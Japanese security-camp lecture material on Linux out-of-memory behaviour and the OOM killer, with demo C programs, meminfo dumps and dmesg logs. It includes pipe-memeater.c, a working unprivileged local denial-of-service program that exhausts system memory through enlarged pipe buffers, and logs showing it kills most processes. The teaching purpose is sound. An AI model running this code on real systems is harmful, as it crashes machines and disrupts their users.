セキュリティ・キャンプ全国大会2016 解析トラック 3D

The OOM CTF

2016.8.11

目次


第0章 概要


Linux カーネル内のメモリ管理機構は非常に楽観的なため、 memory cgroup を使用して適切なリソース制限を掛けていない Linux システムでは、システムのメモリを枯渇させて動作不能に陥らせる Out of memory local DoS 攻撃が簡単に成立してしまいます。そして、攻撃する意図が無くても成立してしまうことがあるため、原因不明のハングアップなど Linux システムの安定稼働を阻害する要因にもなっています。

この講義では、メモリ枯渇に起因したバグの見つけ方(バグ・ハンティング)について学びながら、(講師が偶然見つけた脆弱性から始まり現在も進行中のトピックである) Linux カーネルのメモリ管理をめぐる死闘を振り返り、メモリ枯渇に起因したバグを絶滅させることができない状況にどう対処すればよいのかについて考えます。

受講に際してあると望ましいスキル


0.1 注意

悪用厳禁です。

Out of memory local DoS 攻撃を引き起こすプログラムの例が多数登場します。自分が管理していないマシン上で実行することはもちろんNGです。

たとえ攻防型CTF競技であっても、これらのプログラムを実行した場合には「過度に負担を掛ける行為」として失格になる可能性があります。

何か所か間違いがあるかと思います。

講師はメモリ管理の専門家ではありません。また、 Linux カーネルの解説本を読んで真面目に勉強したこともありません。この講義では、解説本では語られることのない、体験を通じて得られたことを扱います。


0.2 想定環境について

再現プログラムは、以下の環境向けに作られています。 VMware Player などの仮想環境でも構いません。

搭載CPU数4 ( x86_64 アーキテクチャ)
搭載RAM量1024MBまたは2048MB (非NUMAシステム)
スワップ領域なし
ハードディスク/dev/sda として認識されるディスク
( SCSI デバイスとして認識されていない場合、事象を再現できないことがあります)
CD-ROM/dev/sr0 として認識されるドライブ
( SCSI デバイスとして認識されていない場合、事象を再現できないことがあります)
マウント構成/dev/sda1 を ext4 または xfs でフォーマットしたものを / にマウント

カーネルのバージョンやシステムの構成や実行するタイミングなどの変動要因により、結果が異なる場合がありますことを予めご了承ください。


0.3 自己紹介:熊猫の Linux との関わりについて

OSレベルでのセキュリティ強化

2003年4月から2012年3月までは、 TOMOYO Linux という Linux システム向けのアクセス制御モジュールの開発に携わってきました。バッファオーバーフロー脆弱性やOSコマンドインジェクション脆弱性を撲滅できない状況で、当初は SELinux という難解なアクセス制御モジュールしかありませんでした。

TOMOYO Linux のメインライン化にまつわる苦労話は、セキュリティ&プログラミングキャンプ2011の講義資料を参照していただければと思います。

TOMOYO Linux から始まって AKARI や CaitSith に至るまでの変遷は、セキュリティ・キャンプ2012の講義資料を参照していただければと思います。

ShellShock のような、OSコマンドインジェクション脆弱性への対処に興味のある方は、セキュリティ・キャンプ2015の講義資料を参照していただければと思います。

Linux システムのトラブルシューティング

2012年4月から2015年3月まではサポートセンタに勤務して、主に RHEL 4 / RHEL 5 / RHEL 6 を使っているシステムについての問合せ対応に携わってきました。(アクセス制御モジュールという性質上、ユーザ空間に近い表面的な部分だけですが) TOMOYO Linux の開発を通じて Linux カーネル上でのプログラミングに触れてきたので、再現方法や調査方法が確立されていない、(調査用のプログラムを作成して)何が起きているかを突き止める必要がある問合せ案件を担当しました。

予期せぬハングアップや再起動が発生したので原因を調査してほしいという依頼はよくあります。でも、 /var/log/messages には手掛かりになりそうなメッセージは残っておらず、ハングアップの原因を突き止められることは滅多にありませんでした。

「ハングアップ中のメッセージがログファイルに記録されることは期待できないけど、カーネルは何らかのメッセージを出していたのかもしれない。」ということで、シリアルコンソールまたは netconsole の有効化を提案しましたが、それによって何らかのメッセージが得られたケースは記憶にありません。まるで、次から次へと、CTFのエスパー問題を出題されているようなもので、納得できない状況でした。


0.4 主な登場人物紹介?

2014年11月以降の議論の様子は、主に linux-mm メーリングリストのアーカイブから辿ることができます。


第1章 準備体操


1.1 メモリのオーバーコミットについて

ユーザ空間ではメモリ割り当て要求時に失敗することは殆どありません。デフォルトではオーバーコミットが許される設定になっているため、システムが搭載している量を超えるメモリを malloc() などで要求することができます。

実験: realloc() によるオーバーコミットを試してみよう。

---------- overcommit.c ----------
#include <stdio.h>
#include <stdlib.h>

int main(int argc, char *argv[])
{
        unsigned long size = 0;
        char *buf = NULL;
        while (1) {
                char *cp = realloc(buf, size + 1048576);
                if (!cp)
                        break;
                buf = cp;
                size += 1048576;
        }
        printf("Allocated %lu MB\n", size / 1048576);
        free(buf);
        printf("Freed %lu MB\n", size / 1048576);
        return 0;
}
---------- overcommit.c ----------

結果:オーバーコミットされていることを確認できました。

---------- 実行結果例 ここから ----------
[kumaneko@localhost ~]$ cat /proc/meminfo
MemTotal:        1914588 kB
MemFree:         1758600 kB
Buffers:            9044 kB
Cached:            55324 kB
SwapCached:            0 kB
Active:            38408 kB
Inactive:          42832 kB
Active(anon):      17112 kB
Inactive(anon):        4 kB
Active(file):      21296 kB
Inactive(file):    42828 kB
Unevictable:           0 kB
Mlocked:               0 kB
SwapTotal:             0 kB
SwapFree:              0 kB
Dirty:                64 kB
Writeback:             0 kB
AnonPages:         16888 kB
Mapped:            12552 kB
Shmem:               228 kB
Slab:              36644 kB
SReclaimable:      10984 kB
SUnreclaim:        25660 kB
KernelStack:        3760 kB
PageTables:         2892 kB
NFS_Unstable:          0 kB
Bounce:                0 kB
WritebackTmp:          0 kB
CommitLimit:      957292 kB
Committed_AS:      92500 kB
VmallocTotal:   34359738367 kB
VmallocUsed:      149588 kB
VmallocChunk:   34359581684 kB
HardwareCorrupted:     0 kB
AnonHugePages:      2048 kB
HugePages_Total:       0
HugePages_Free:        0
HugePages_Rsvd:        0
HugePages_Surp:        0
Hugepagesize:       2048 kB
DirectMap4k:        6144 kB
DirectMap2M:     1042432 kB
DirectMap1G:     1048576 kB
[kumaneko@localhost ~]$ ./overcommit
Allocated 100663295 MB
Freed 100663295 MB
[kumaneko@localhost ~]$ 
---------- 実行結果例 ここまで ----------

オーバーコミットのおかげで、多くのプロセスを稼働させることができます。


1.2 OOM killer について

目的/用途

Out of memory ( OOM )状態になると発動する、 Out of memory 状態を解消することで Linux システムが生き延びようとする仕組みです。

SIGKILL シグナルを送信することでプロセスを強制終了させ、メモリを回収します。

SIGKILL シグナルは無視できないので、必ずメモリを回収できる筈という前提です。

危険レベル0:まだまだ余裕があります危険レベル1:そろそろ危ないかも危険レベル2: OOM 状態が発生しました危険レベル3:ゲームオーバーです
空きメモリ残量が十分にある場合、メモリを回収する必要はありません。空きメモリ残量が low: まで減少した場合、 high: に戻るまで kswapd が非同期でのメモリ回収を行います。 kswapd による非同期でのメモリ回収が追いつかない場合には、メモリ割り当てを要求しているプロセス自身も同期でのメモリ回収( direct reclaim )を行います。 空きメモリ残量が min: まで減少し、これ以上メモリを回収できない場合、 OOM 状態になります。 OOM killer を発動させることが許可されていれば、 OOM killer がプロセスに SIGKILL シグナルを送信して強制終了させることでメモリ回収を行います。空きメモリ残量が 0 になってしまうと、ほとんどの場合、システムがハングアップします。
High よりも高い Low と High の間 Min まで到達 枯渇

実験: realloc() でオーバーコミット後に memset() で OOM killer を発生させてみよう。

---------- oom.c ----------
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
        unsigned long size = 0;
        char *buf = NULL;
        while (1) {
                char *cp = realloc(buf, size + 1048576);
                if (!cp)
                        break;
                buf = cp;
                size += 1048576;
        }
        printf("Allocated %lu MB\n", size / 1048576);
        memset(buf, 0, size);
        printf("Filled %lu MB\n", size / 1048576);
        free(buf);
        printf("Freed %lu MB\n", size / 1048576);
        return 0;
}
---------- oom.c ----------

結果: SIGKILL シグナルにより強制終了されることを確認できました。

---------- 実行結果例 ここから ----------
[kumaneko@localhost ~]$ ./oom
Allocated 100663295 MB
Killed
[kumaneko@localhost ~]$ dmesg
[  164.825320] oom invoked oom-killer: gfp_mask=0x280da, order=0, oom_adj=0, oom_score_adj=0
[  164.826957] oom cpuset=/ mems_allowed=0
[  164.827789] Pid: 1615, comm: oom Not tainted 2.6.32-573.26.1.el6.x86_64 #1
[  164.829140] Call Trace:
[  164.829593]  [<ffffffff810d7151>] ? cpuset_print_task_mems_allowed+0x91/0xb0
[  164.830855]  [<ffffffff8112a950>] ? dump_header+0x90/0x1b0
[  164.832089]  [<ffffffff8123360c>] ? security_real_capable_noaudit+0x3c/0x70
[  164.833303]  [<ffffffff8112add2>] ? oom_kill_process+0x82/0x2a0
[  164.834402]  [<ffffffff8112ad11>] ? select_bad_process+0xe1/0x120
[  164.835512]  [<ffffffff8112b210>] ? out_of_memory+0x220/0x3c0
[  164.836543]  [<ffffffff81137bec>] ? __alloc_pages_nodemask+0x93c/0x950
[  164.837692]  [<ffffffff81170a7a>] ? alloc_pages_vma+0x9a/0x150
[  164.838743]  [<ffffffff81152edd>] ? handle_pte_fault+0x73d/0xb20
[  164.839886]  [<ffffffff810537b7>] ? pte_alloc_one+0x37/0x50
[  164.841020]  [<ffffffff8118c559>] ? do_huge_pmd_anonymous_page+0xb9/0x3b0
[  164.842306]  [<ffffffff81153559>] ? handle_mm_fault+0x299/0x3d0
[  164.843400]  [<ffffffff810663f3>] ? perf_event_task_sched_out+0x33/0x70
[  164.844603]  [<ffffffff8104f156>] ? __do_page_fault+0x146/0x500
[  164.845672]  [<ffffffff8153927e>] ? thread_return+0x4e/0x7d0
[  164.846723]  [<ffffffff8153f90e>] ? do_page_fault+0x3e/0xa0
[  164.847953]  [<ffffffff8153cc55>] ? page_fault+0x25/0x30
[  164.848914] Mem-Info:
[  164.849339] Node 0 DMA per-cpu:
[  164.849937] CPU    0: hi:    0, btch:   1 usd:   0
[  164.850804] CPU    1: hi:    0, btch:   1 usd:   0
[  164.851781] CPU    2: hi:    0, btch:   1 usd:   0
[  164.852670] CPU    3: hi:    0, btch:   1 usd:   0
[  164.853632] Node 0 DMA32 per-cpu:
[  164.854269] CPU    0: hi:  186, btch:  31 usd:   0
[  164.855133] CPU    1: hi:  186, btch:  31 usd:   0
[  164.856152] CPU    2: hi:  186, btch:  31 usd:   0
[  164.857041] CPU    3: hi:  186, btch:  31 usd:   0
[  164.858033] active_anon:446933 inactive_anon:1 isolated_anon:0
[  164.858034]  active_file:0 inactive_file:14 isolated_file:0
[  164.858034]  unevictable:0 dirty:1 writeback:0 unstable:0
[  164.858034]  free:13259 slab_reclaimable:1902 slab_unreclaimable:6401
[  164.858035]  mapped:9 shmem:57 pagetables:1732 bounce:0
[  164.863169] Node 0 DMA free:8336kB min:332kB low:412kB high:496kB active_anon:7332kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15300kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:0kB slab_unreclaimable:0kB kernel_stack:0kB pagetables:40kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  164.870125] lowmem_reserve[]: 0 2004 2004 2004
[  164.871060] Node 0 DMA32 free:44700kB min:44720kB low:55900kB high:67080kB active_anon:1780400kB inactive_anon:4kB active_file:0kB inactive_file:56kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2052192kB mlocked:0kB dirty:4kB writeback:0kB mapped:36kB shmem:228kB slab_reclaimable:7608kB slab_unreclaimable:25604kB kernel_stack:3776kB pagetables:6888kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:690 all_unreclaimable? yes
[  164.878996] lowmem_reserve[]: 0 0 0 0
[  164.879969] Node 0 DMA: 2*4kB 1*8kB 4*16kB 2*32kB 2*64kB 1*128kB 1*256kB 1*512kB 1*1024kB 1*2048kB 1*4096kB = 8336kB
[  164.882265] Node 0 DMA32: 496*4kB 137*8kB 45*16kB 26*32kB 38*64kB 11*128kB 2*256kB 8*512kB 13*1024kB 5*2048kB 2*4096kB = 44824kB
[  164.884786] 99 total pagecache pages
[  164.885462] 0 pages in swap cache
[  164.886100] Swap cache stats: add 0, delete 0, find 0/0
[  164.887027] Free swap  = 0kB
[  164.887677] Total swap = 0kB
[  164.890966] 524272 pages RAM
[  164.891554] 45689 pages reserved
[  164.892198] 460 pages shared
[  164.892760] 459990 pages non-shared
[  164.893400] [ pid ]   uid  tgid total_vm      rss cpu oom_adj oom_score_adj name
[  164.894783] [  485]     0   485     2672      118   3     -17         -1000 udevd
[  164.896319] [ 1139]     0  1139     2280      123   2       0             0 dhclient
[  164.897721] [ 1195]     0  1195     6899       60   2     -17         -1000 auditd
[  164.899068] [ 1217]     0  1217    62272      649   0       0             0 rsyslogd
[  164.900463] [ 1246]    81  1246     5388      107   1       0             0 dbus-daemon
[  164.901944] [ 1259]     0  1259    20705      222   0       0             0 NetworkManager
[  164.903465] [ 1263]     0  1263    14530      124   3       0             0 modem-manager
[  164.905125] [ 1298]    68  1298     9588      292   3       0             0 hald
[  164.906547] [ 1299]     0  1299     5099       54   3       0             0 hald-runner
[  164.908127] [ 1337]     0  1337     5627       47   1       0             0 hald-addon-rfki
[  164.909747] [ 1345]     0  1345     5629       47   0       0             0 hald-addon-inpu
[  164.911254] [ 1346]     0  1346    11247      133   2       0             0 wpa_supplicant
[  164.912993] [ 1351]    68  1351     4501       41   2       0             0 hald-addon-acpi
[  164.914570] [ 1372]     0  1372    16558      177   0     -17         -1000 sshd
[  164.915955] [ 1451]     0  1451    20222      226   2       0             0 master
[  164.917391] [ 1463]    89  1463    20242      217   0       0             0 pickup
[  164.918860] [ 1464]    89  1464    20259      218   1       0             0 qmgr
[  164.920391] [ 1465]     0  1465    29216      152   2       0             0 crond
[  164.921769] [ 1479]     0  1479    17403      127   3       0             0 login
[  164.923171] [ 1480]     0  1480     1020       23   0       0             0 agetty
[  164.924621] [ 1482]     0  1482     1016       21   3       0             0 mingetty
[  164.926043] [ 1484]     0  1484     1016       21   3       0             0 mingetty
[  164.927490] [ 1486]     0  1486     1016       22   3       0             0 mingetty
[  164.928890] [ 1488]     0  1488     1016       20   3       0             0 mingetty
[  164.930313] [ 1490]     0  1490     1016       22   2       0             0 mingetty
[  164.931718] [ 1495]     0  1495     2671      117   1     -17         -1000 udevd
[  164.933090] [ 1496]     0  1496     2671      117   3     -17         -1000 udevd
[  164.934490] [ 1498]     0  1498   521256      370   1       0             0 console-kit-dae
[  164.935999] [ 1565]     0  1565    27075      101   1       0             0 bash
[  164.937387] [ 1580]     0  1580    25629      254   0       0             0 sshd
[  164.938787] [ 1582]   500  1582    25629      252   0       0             0 sshd
[  164.940167] [ 1583]   500  1583    27076       97   0       0             0 bash
[  164.941506] [ 1615]   500  1615 25769820886   442651   2       0             0 oom
[  164.942905] Out of memory: Kill process 1615 (oom) score 926 or sacrifice child
[  164.944495] Killed process 1615, UID 500, (oom) total-vm:103079283544kB, anon-rss:1770600kB, file-rss:4kB
[kumaneko@localhost ~]$
---------- 実行結果例 ここまで ----------

ちゃんと OOM killer が機能しているように見えますよね?


1.3 システム全体での OOM 状態と memory cgroup 内での OOM 状態について

Linux にはリソース使用量を制限する cgroup という機能があり、その中の1つである memory cgroup を使うことで、グループ単位でメモリの使用量を制限することができます。しかし、適切に設定されていない場合、システム全体での OOM 状態が発生してしまうことが避けられません。

この講義では、原則として、システム全体での OOM についてのみ扱います。


1.4 利用者向けのパラメータについて

でも、これだけで終わってしまっては、利用者向けの説明にしかなっていませんね。この講義は、 Linux カーネルにおけるメモリ管理の闇について触れていきます。


第2章 パイプを使った DoS 攻撃


2.1 発端

2013年6月のある日、開発版カーネルの動作テスト中に遭遇した不具合に対して git bisect を実行中に、妙なパッチを見つけました。

 [35f3d14dbbc58447c61e38a162ea10add6b31dc7] pipe: add support for shrinking and growing pipes

「え?パイプのサイズを変更できるようにするだって?そんな機能が追加されていたなんて、知らなかったなぁ。」

 ・・・ということで、関連するパッチを調べていったところ、非特権ユーザでも64KBから1MBまで拡張できるということが判明しました。

「え!?パイプのバッファサイズを最大1MBにするなんて、正気ですか?」

実験:全てのメモリをパイプのバッファに割り当てたら何が起こるだろう?

---------- pipe-memeater.c ----------
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#define F_SETPIPE_SZ (1024 + 7)

static void child(void)
{
        int fd[2];
        while (pipe(fd) != EOF &&
               fcntl(fd[1], F_SETPIPE_SZ, 1048576) != EOF) {
                int i;
                for (i = 0; i < 256; i++) {
                        static char buf[4096];
                        if (write(fd[1], buf, sizeof(buf)) != sizeof(buf)) {
                                printf("write error\n");
                                _exit(1);
                        }
                }
                close(fd[0]);
        }
        pause();
        _exit(0);
}

int main(int argc, char *argv[])
{
        int i;
        close(0);
        for (i = 2; i < 1024; i++)
                close(i);
        for (i = 0; i < 10; i++)
                if (fork() == 0)
                        child();
        return 0;
}
---------- pipe-memeater.c ----------

結果: OOM killer 乱発でほぼ全てのプロセスを強制終了させることができてしまいました。

---------- 実行結果例 ここから ----------
[kumaneko@localhost ~]$ pstree -pA
init(1)-+-NetworkManager(1206)
        |-agetty(1430)
        |-auditd(1142)---{auditd}(1143)
        |-bonobo-activati(1630)---{bonobo-activat}(1631)
        |-console-kit-dae(1440)-+-{console-kit-da}(1441)
        |                       |-{console-kit-da}(1442)
        |                       |-{console-kit-da}(1443)
        |                       |-{console-kit-da}(1444)
        |                       |-{console-kit-da}(1445)
        |                       |-{console-kit-da}(1446)
        |                       |-{console-kit-da}(1447)
        |                       |-{console-kit-da}(1448)
        |                       |-{console-kit-da}(1449)
        |                       |-{console-kit-da}(1450)
        |                       |-{console-kit-da}(1451)
        |                       |-{console-kit-da}(1452)
        |                       |-{console-kit-da}(1453)
        |                       |-{console-kit-da}(1454)
        |                       |-{console-kit-da}(1455)
        |                       |-{console-kit-da}(1456)
        |                       |-{console-kit-da}(1457)
        |                       |-{console-kit-da}(1458)
        |                       |-{console-kit-da}(1459)
        |                       |-{console-kit-da}(1460)
        |                       |-{console-kit-da}(1461)
        |                       |-{console-kit-da}(1462)
        |                       |-{console-kit-da}(1463)
        |                       |-{console-kit-da}(1464)
        |                       |-{console-kit-da}(1465)
        |                       |-{console-kit-da}(1466)
        |                       |-{console-kit-da}(1467)
        |                       |-{console-kit-da}(1468)
        |                       |-{console-kit-da}(1469)
        |                       |-{console-kit-da}(1470)
        |                       |-{console-kit-da}(1471)
        |                       |-{console-kit-da}(1472)
        |                       |-{console-kit-da}(1473)
        |                       |-{console-kit-da}(1474)
        |                       |-{console-kit-da}(1475)
        |                       |-{console-kit-da}(1476)
        |                       |-{console-kit-da}(1477)
        |                       |-{console-kit-da}(1478)
        |                       |-{console-kit-da}(1479)
        |                       |-{console-kit-da}(1480)
        |                       |-{console-kit-da}(1481)
        |                       |-{console-kit-da}(1482)
        |                       |-{console-kit-da}(1483)
        |                       |-{console-kit-da}(1484)
        |                       |-{console-kit-da}(1485)
        |                       |-{console-kit-da}(1486)
        |                       |-{console-kit-da}(1487)
        |                       |-{console-kit-da}(1488)
        |                       |-{console-kit-da}(1489)
        |                       |-{console-kit-da}(1490)
        |                       |-{console-kit-da}(1491)
        |                       |-{console-kit-da}(1492)
        |                       |-{console-kit-da}(1493)
        |                       |-{console-kit-da}(1494)
        |                       |-{console-kit-da}(1495)
        |                       |-{console-kit-da}(1496)
        |                       |-{console-kit-da}(1497)
        |                       |-{console-kit-da}(1498)
        |                       |-{console-kit-da}(1499)
        |                       |-{console-kit-da}(1500)
        |                       |-{console-kit-da}(1501)
        |                       |-{console-kit-da}(1502)
        |                       `-{console-kit-da}(1504)
        |-crond(1408)
        |-dbus-daemon(1601)
        |-dbus-daemon(1193)
        |-dbus-launch(1600)
        |-devkit-power-da(1605)
        |-dhclient(1086)
        |-gconfd-2(1609)
        |-gdm-binary(1567)-+-gdm-simple-slav(1580)-+-Xorg(1583)
        |                  |                       |-gdm-session-wor(1661)
        |                  |                       |-gnome-session(1602)-+-at-spi-registry(1625)
        |                  |                       |                     |-gdm-simple-gree(1641)---{gdm-simple-gre}(1652)
        |                  |                       |                     |-gnome-power-man(1642)
        |                  |                       |                     |-metacity(1638)
        |                  |                       |                     |-polkit-gnome-au(1640)
        |                  |                       |                     `-{gnome-session}(1626)
        |                  |                       `-{gdm-simple-sla}(1584)
        |                  `-{gdm-binary}(1581)
        |-gnome-settings-(1628)---{gnome-settings}(1633)
        |-gvfsd(1637)
        |-hald(1245)-+-hald-runner(1246)-+-hald-addon-acpi(1295)
        |            |                   |-hald-addon-inpu(1293)
        |            |                   `-hald-addon-rfki(1285)
        |            `-{hald}(1247)
        |-login(1424)---bash(1507)
        |-master(1396)-+-pickup(1411)
        |              `-qmgr(1413)
        |-mingetty(1426)
        |-mingetty(1428)
        |-mingetty(1431)
        |-mingetty(1433)
        |-mingetty(1435)
        |-modem-manager(1211)
        |-notification-da(1651)
        |-polkitd(1645)
        |-pulseaudio(1654)---{pulseaudio}(1660)
        |-rsyslogd(1164)-+-{rsyslogd}(1165)
        |                |-{rsyslogd}(1166)
        |                `-{rsyslogd}(1167)
        |-rtkit-daemon(1656)-+-{rtkit-daemon}(1657)
        |                    `-{rtkit-daemon}(1658)
        |-sshd(1317)---sshd(1664)---sshd(1666)---bash(1667)---pstree(1684)
        |-udevd(423)-+-udevd(1437)
        |            `-udevd(1438)
        `-wpa_supplicant(1282)
[kumaneko@localhost ~]$ ./pipe-memeater
(再ログイン部分省略)
[kumaneko@localhost ~]$ dmesg
[  100.086247] pipe-memeater invoked oom-killer: gfp_mask=0x200d2, order=0, oom_adj=0
[  100.087747] pipe-memeater cpuset=/ mems_allowed=0
[  100.088693] Pid: 1687, comm: pipe-memeater Not tainted 2.6.35.14 #1
[  100.089949] Call Trace:
[  100.090640]  [<ffffffff810ac9e1>] ? cpuset_print_task_mems_allowed+0x91/0xa0
[  100.092080]  [<ffffffff810f8e4e>] dump_header+0x6e/0x1c0
[  100.093106]  [<ffffffff8121b950>] ? ___ratelimit+0xa0/0x120
[  100.094226]  [<ffffffff810f9021>] oom_kill_process+0x81/0x180
[  100.095432]  [<ffffffff810f9558>] __out_of_memory+0x58/0xd0
[  100.096745]  [<ffffffff810f9656>] out_of_memory+0x86/0x1b0
[  100.097796]  [<ffffffff810fe4dc>] __alloc_pages_nodemask+0x7dc/0x7f0
[  100.098990]  [<ffffffff8112e87a>] alloc_pages_current+0x9a/0x100
[  100.100181]  [<ffffffff8114de87>] pipe_write+0x387/0x670
[  100.101200]  [<ffffffff8114504a>] do_sync_write+0xda/0x120
[  100.102284]  [<ffffffff8114e7ad>] ? pipe_fcntl+0x11d/0x230
[  100.103319]  [<ffffffff8113583c>] ? __kmalloc+0x21c/0x230
[  100.104381]  [<ffffffff811cb556>] ? security_file_permission+0x16/0x20
[  100.105659]  [<ffffffff81145328>] vfs_write+0xb8/0x1a0
[  100.106684]  [<ffffffff810ba932>] ? audit_syscall_entry+0x252/0x280
[  100.108022]  [<ffffffff81145cd1>] sys_write+0x51/0x90
[  100.109007]  [<ffffffff8100aff2>] system_call_fastpath+0x16/0x1b
[  100.110197] Mem-Info:
[  100.110644] Node 0 DMA per-cpu:
[  100.111327] CPU    0: hi:    0, btch:   1 usd:   0
[  100.112277] CPU    1: hi:    0, btch:   1 usd:   0
[  100.113140] CPU    2: hi:    0, btch:   1 usd:   0
[  100.114110] CPU    3: hi:    0, btch:   1 usd:   0
[  100.114971] Node 0 DMA32 per-cpu:
[  100.115658] CPU    0: hi:  186, btch:  31 usd:   0
[  100.116654] CPU    1: hi:  186, btch:  31 usd:  32
[  100.117595] CPU    2: hi:  186, btch:  31 usd:   0
[  100.118537] CPU    3: hi:  186, btch:  31 usd:   0
[  100.119483] active_anon:11091 inactive_anon:3641 isolated_anon:0
[  100.119484]  active_file:21 inactive_file:24 isolated_file:0
[  100.119485]  unevictable:0 dirty:21 writeback:0 unstable:0
[  100.119485]  free:3422 slab_reclaimable:4462 slab_unreclaimable:22253
[  100.119485]  mapped:276 shmem:305 pagetables:1864 bounce:0
[  100.125138] Node 0 DMA free:8024kB min:40kB low:48kB high:60kB active_anon:0kB inactive_anon:0kB active_file:0kB inactive_file:0kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:15704kB mlocked:0kB dirty:0kB writeback:0kB mapped:0kB shmem:0kB slab_reclaimable:0kB slab_unreclaimable:100kB kernel_stack:0kB pagetables:0kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:0 all_unreclaimable? yes
[  100.132211] lowmem_reserve[]: 0 2004 2004 2004
[  100.133220] Node 0 DMA32 free:5664kB min:5708kB low:7132kB high:8560kB active_anon:44108kB inactive_anon:14820kB active_file:84kB inactive_file:96kB unevictable:0kB isolated(anon):0kB isolated(file):0kB present:2052192kB mlocked:0kB dirty:84kB writeback:0kB mapped:1104kB shmem:1220kB slab_reclaimable:17848kB slab_unreclaimable:88912kB kernel_stack:2008kB pagetables:7456kB unstable:0kB bounce:0kB writeback_tmp:0kB pages_scanned:1412 all_unreclaimable? yes
[  100.141024] lowmem_reserve[]: 0 0 0 0
[  100.141879] Node 0 DMA: 1*4kB 2*8kB 0*16kB 2*32kB 2*64kB 1*128kB 2*256kB 2*512kB 2*1024kB 2*2048kB 0*4096kB = 8020kB
[  100.144271] Node 0 DMA32: 676*4kB 7*8kB 0*16kB 0*32kB 1*64kB 1*128kB 0*256kB 0*512kB 1*1024kB 1*2048kB 0*4096kB = 6024kB
[  100.146722] 346 total pagecache pages
[  100.147435] 0 pages in swap cache
[  100.148090] Swap cache stats: add 0, delete 0, find 0/0
[  100.149096] Free swap  = 0kB
[  100.149671] Total swap = 0kB
[  100.152844] 524272 pages RAM
[  100.153432] 13239 pages reserved
[  100.154126] 1067 pages shared
[  100.154695] 488972 pages non-shared
[  100.155379] [ pid ]   uid  tgid total_vm      rss cpu oom_adj name
[  100.156582] [    1]     0     1     4851       75   1       0 init
[  100.157793] [  423]     0   423     2767      200   0     -17 udevd
[  100.158985] [ 1086]     0  1086     2292      122   1       0 dhclient
[  100.160335] [ 1142]     0  1142     6399       49   1     -17 auditd
[  100.161553] [ 1164]     0  1164    60746       96   1       0 rsyslogd
[  100.162787] [ 1193]    81  1193     5471      159   3       0 dbus-daemon
[  100.164070] [ 1206]     0  1206    20717      219   0       0 NetworkManager
[  100.165406] [ 1211]     0  1211    14542      123   1       0 modem-manager
[  100.166709] [ 1245]    68  1245     9089      296   0       0 hald
[  100.167855] [ 1246]     0  1246     5111       56   3       0 hald-runner
[  100.169135] [ 1282]     0  1282    11259      132   3       0 wpa_supplicant
[  100.170476] [ 1285]     0  1285     5639       42   1       0 hald-addon-rfki
[  100.171936] [ 1293]     0  1293     5641       42   0       0 hald-addon-inpu
[  100.173260] [ 1295]    68  1295     4513       40   3       0 hald-addon-acpi
[  100.174622] [ 1317]     0  1317    16570      177   0     -17 sshd
[  100.175790] [ 1396]     0  1396    20234      218   0       0 master
[  100.177024] [ 1408]     0  1408    29216      152   2       0 crond
[  100.178188] [ 1411]    89  1411    20254      217   1       0 pickup
[  100.179389] [ 1413]    89  1413    20271      216   1       0 qmgr
[  100.180571] [ 1424]     0  1424    17415      123   3       0 login
[  100.181737] [ 1426]     0  1426     1028       21   2       0 mingetty
[  100.182983] [ 1428]     0  1428     1028       21   3       0 mingetty
[  100.184222] [ 1430]     0  1430     1032       21   0       0 agetty
[  100.185481] [ 1431]     0  1431     1028       21   1       0 mingetty
[  100.187031] [ 1433]     0  1433     1028       20   1       0 mingetty
[  100.188345] [ 1435]     0  1435     1028       21   2       0 mingetty
[  100.189638] [ 1437]     0  1437     2683      116   3     -17 udevd
[  100.190865] [ 1438]     0  1438     2683      116   2     -17 udevd
[  100.192152] [ 1440]     0  1440   520756      243   3       0 console-kit-dae
[  100.193565] [ 1507]     0  1507    27088       95   1       0 bash
[  100.194796] [ 1567]     0  1567    33001       79   1       0 gdm-binary
[  100.196134] [ 1580]     0  1580    40656      150   3       0 gdm-simple-slav
[  100.197543] [ 1583]     0  1583    42848     4384   2       0 Xorg
[  100.198911] [ 1600]    42  1600     5021       55   1       0 dbus-launch
[  100.200288] [ 1601]    42  1601     5402       79   3       0 dbus-daemon
[  100.201579] [ 1602]    42  1602    66762      476   3       0 gnome-session
[  100.202944] [ 1605]     0  1605    12502      161   3       0 devkit-power-da
[  100.204322] [ 1609]    42  1609    33068      538   0       0 gconfd-2
[  100.205580] [ 1625]    42  1625    30187      283   0       0 at-spi-registry
[  100.206961] [ 1628]    42  1628    86331      943   0       0 gnome-settings-
[  100.208318] [ 1630]    42  1630    88624      186   1       0 bonobo-activati
[  100.210025] [ 1637]    42  1637    33831       76   2       0 gvfsd
[  100.211269] [ 1638]    42  1638    71465      679   0       0 metacity
[  100.212521] [ 1640]    42  1640    62088      437   3       0 polkit-gnome-au
[  100.213886] [ 1641]    42  1641    94596     1210   2       0 gdm-simple-gree
[  100.215265] [ 1642]    42  1642    68437      516   2       0 gnome-power-man
[  100.216677] [ 1645]     0  1645    13169      304   1       0 polkitd
[  100.217893] [ 1654]    42  1654    85934      194   1       0 pulseaudio
[  100.220379] [ 1656]   498  1656    41101       45   2       0 rtkit-daemon
[  100.221717] [ 1661]     0  1661    35453       91   1       0 gdm-session-wor
[  100.223103] [ 1664]     0  1664    25640      254   0       0 sshd
[  100.224290] [ 1666]   500  1666    25640      252   0       0 sshd
[  100.225575] [ 1667]   500  1667    27088       92   3       0 bash
[  100.226844] [ 1686]   500  1686      993       18   0       0 pipe-memeater
[  100.228117] [ 1687]   500  1687      993       18   3       0 pipe-memeater
[  100.229486] [ 1688]   500  1688      993       18   1       0 pipe-memeater
[  100.230815] [ 1689]   500  1689      993       18   0       0 pipe-memeater
[  100.232127] [ 1690]   500  1690      993       18   2       0 pipe-memeater
[  100.233439] [ 1691]   500  1691      993       18   0       0 pipe-memeater
[  100.234773] [ 1692]   500  1692      993       18   1       0 pipe-memeater
[  100.236084] [ 1693]   500  1693      993       18   0       0 pipe-memeater
[  100.237375] [ 1694]   500  1694      993       18   2       0 pipe-memeater
[  100.238727] [ 1695]   500  1695      993       18   0       0 pipe-memeater
